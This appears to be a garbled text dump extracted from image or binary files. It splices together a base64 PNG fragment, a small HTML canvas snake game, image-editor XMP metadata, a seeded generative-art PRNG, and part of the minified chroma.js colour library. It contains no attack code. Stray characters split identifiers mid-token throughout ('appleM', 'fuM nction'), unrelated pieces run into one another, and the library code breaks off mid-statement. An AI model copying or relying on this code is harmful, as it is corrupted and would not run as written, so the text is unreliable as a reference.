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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},appleM
={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,appleM
.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===L
snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
=TzTXtRaw profile type exif
ezTXtRaw profile type iptc
uiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
ttp://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:48895aa2-93d9-4211-a4ea-14fac38608e0"
   xmpMM:InstanceID="xmp.iid:47663ee8-9bb4-4ae0-a7e5-bc259c39f391"
   xmpMM:OriginalDocumentID="xmp.did:c60b435e-a3fe-403d-a55d-a464099a0052"
   dc:Format="image/png"
   GIMP:Platform="Linux"
   GIMP:TimeStamp="1676449034694340"
   GIMP:Version="2.10.30"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:e529d179-1bdd-4846-a37c-3dbda1905c30"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-04-17T06:07:54"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:75b0a3e9-7088-4e96-9152-80571761718a"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-04-18T05M
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:0100ca48-2a64-4764-af9f-1538fe9feca3"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-04-26T05:43:04"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:8bd58b07-9f89-4e49-89c3-a5aa2fdcdad1"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-05-08T02:06:22"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:63c37b67-0cc8-4eb6-abcd-650b1101fc23"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-06-18T03:07:16"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:5ef24f6a-5168-4234-8f83-a889272bec64"
      stEvt:softwareAgent="Gimp 2.10 (Linux)"
      stEvt:when="2023-02-15T11:17:14+03:00"/>
  </rdf:Description>
                                                     M





                                                                    M





                                                                                   M




                                                                                                  M





 03367d8be1445e0fee059ce12affa609G0D
mhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="A28M
29DCA2C55000D8368D9BFB46BDDEE" xmpMM:DocumentID="xmp.did:1C75BB70A52F11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:1C75BB6FA52F11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="Adobe Photoshop 23.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:52E7CABDE08C11ECB20BFA984BCA0709" stRef:documentID="xmp.did:52E7CABEE08C11ECB20BFA984BCA0709"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
''.030.'>>AA>>AAAAAAAAAAAAAAA
>-''''->8;333;8AA>>AAAAAAAAAAAAAAAAA
mhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="A28M
29DCA2C55000D8368D9BFB46BDDEE" xmpMM:DocumentID="xmp.did:1C75BB74A52F11EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:1C75BB73A52F11EDAE48EF0C2CFEA9ED" xmp:CreatorTool="Adobe Photoshop 23.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:359C5174765411ECB5A5CEFBFA66644C" stRef:documentID="xmp.did:359C5175765411ECB5A5CEFBFA66644C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
''.030.'>>AA>>AAAAAAAAAAAAAAA
>-''''->8;333;8AA>>AAAAAAAAAAAAAAAAA
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adoM
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>31b015e6-7a53-491a-b9b0-bb2b70c9f7a5</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 2</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
